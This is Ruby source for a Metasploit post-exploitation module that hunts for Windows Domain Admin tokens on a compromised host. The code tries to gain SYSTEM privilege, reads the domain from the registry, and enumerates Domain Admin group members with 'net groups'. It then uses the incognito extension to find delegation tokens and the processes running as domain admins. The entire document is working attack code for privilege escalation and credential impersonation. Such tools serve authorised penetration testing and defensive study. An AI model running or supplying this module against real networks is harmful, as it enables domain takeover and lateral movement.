## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv def initialize(info={}) super(update_info(info, 'Name' => "Windows Gather Enumerate Domain Admin Tokens (Token Hunter)", 'Description' => %q{ This module will identify systems that have a Domain Admin (delegation) token on them. The module will first check if sufficient privileges are present for certain actions, and run getprivs for system. If you elevated privs to system, the SeAssignPrimaryTokenPrivilege will not be assigned, in that case try migrating to another process that is running as system. If no sufficient privileges are available, the script will not continue. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Joshua Abraham '] )) register_options( [ OptBool.new('GETSYSTEM', [ true, 'Attempt to get SYSTEM privilege on the target host.', true]) ], self.class) end def get_system print_status("Trying to get SYSTEM privilege") results = session.priv.getsystem if results[0] print_status("Got SYSTEM privilege") else print_error("Could not obtain SYSTEM privileges") end end def priv_check if is_system? privs = session.sys.config.getprivs if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") return true else return false end elsif is_admin? return true else return false end end def get_members(results) members = [] # Usernames start somewhere around line 6 results = results.slice(6, results.length) # Get group members from the output results.each do |line| line.split(" ").compact.each do |user| next if user.strip == "" next if user =~ /-----/ next if user =~ /The command completed successfully/i members << user.strip end end return members end # return the value from the registry def reg_getvaldata(key,valname) value = nil begin root_key, base_key = client.sys.registry.splitkey(key) open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) value = open_key.query_value(valname).data open_key.close rescue end return value end # extract the primary domain from the registry def get_domain domain = nil begin subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" v_name = "DCName" dom_info = reg_getvaldata(subkey, v_name) if not dom_info.nil? and dom_info =~ /\./ foo = dom_info.split('.') domain = foo[1].upcase else print_error("Error parsing output from the registry. (#{dom_info})") end rescue print_error("This host is not part of a domain.") end return domain end def run if session @host_info = session.sys.config.sysinfo else print_error("Error! The session is not fully loaded yet") return end print_status("Scanning session #{session.sid} / #{session.session_host}") # get system, if requested. get_system if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM']) ## Make sure we meet the requirements before running the module if not priv_check print_error("Abort! Did not pass the priv check") return end # get var domain = get_domain if domain.nil? return end # load incognito session.core.use("incognito") if(! session.incognito) if(! session.incognito) print_error("Failed to load incognito on #{session.sid} / #{session.session_host}") return end # gather data usr_res = cmd_exec("net", "groups \"Domain Admins\" /domain") domain_admins = get_members(usr_res.split("\n")) domain_admins.each do |da_user| #Create a table for domain admin PIDs, users, IPs, and SIDs tbl_pids = Rex::Ui::Text::Table.new( 'Header' => 'Domain admin token PIDs', 'Indent' => 1, 'Columns' => ['sid', 'IP', 'User', 'PID'] ) # parse delegation tokens res = session.incognito.incognito_list_tokens(0) if res res["delegation"].split("\n").each do |user| ndom,nusr = user.split("\\") if not nusr nusr = ndom ndom = nil end if ndom == domain and da_user == nusr sid = session.sid peer = session.session_host print_good("Found token for session #{sid}: #{peer} - #{nusr} (Delegation Token)") end end end # parse process list domain_admin_pids = "" session.sys.process.get_processes().each do |proc| if (proc['user'] == "#{domain}\\#{da_user}") sid = session.sid peer = session.session_host target_pid = proc['pid'] tbl_pids << [sid, peer, da_user, target_pid] print_good("Found PID on session #{sid}: #{peer} - #{da_user} (PID: #{target_pid})") end end #At the end of the loop, store and print results for this da_user if not tbl_pids.rows.empty? and session.framework.db.active report_note( :host => session.session_host, :type => "pid", :data => tbl_pids.to_csv ) end end end end